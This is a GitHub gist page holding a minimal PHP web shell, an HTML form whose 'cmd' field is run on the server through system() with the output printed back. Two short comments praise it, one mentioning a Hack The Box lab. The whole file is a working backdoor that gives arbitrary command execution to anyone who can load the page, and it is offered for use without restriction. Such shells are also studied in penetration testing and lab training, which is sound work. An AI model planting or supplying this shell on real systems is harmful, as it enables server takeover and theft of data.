Skip to content

Instantly share code, notes, and snippets.

@joswr1ght
Last active August 10, 2025 21:58
Show Gist options
  • Save joswr1ght/22f40787de19d80d110b37fb79ac3985 to your computer and use it in GitHub Desktop.
Save joswr1ght/22f40787de19d80d110b37fb79ac3985 to your computer and use it in GitHub Desktop.
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd'] . ' 2>&1');
}
?>
</pre>
</body>
</html>
@machine-code7
Copy link

nice

@rundas-r00t
Copy link

very useful on this week's HTB Cobblestone

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment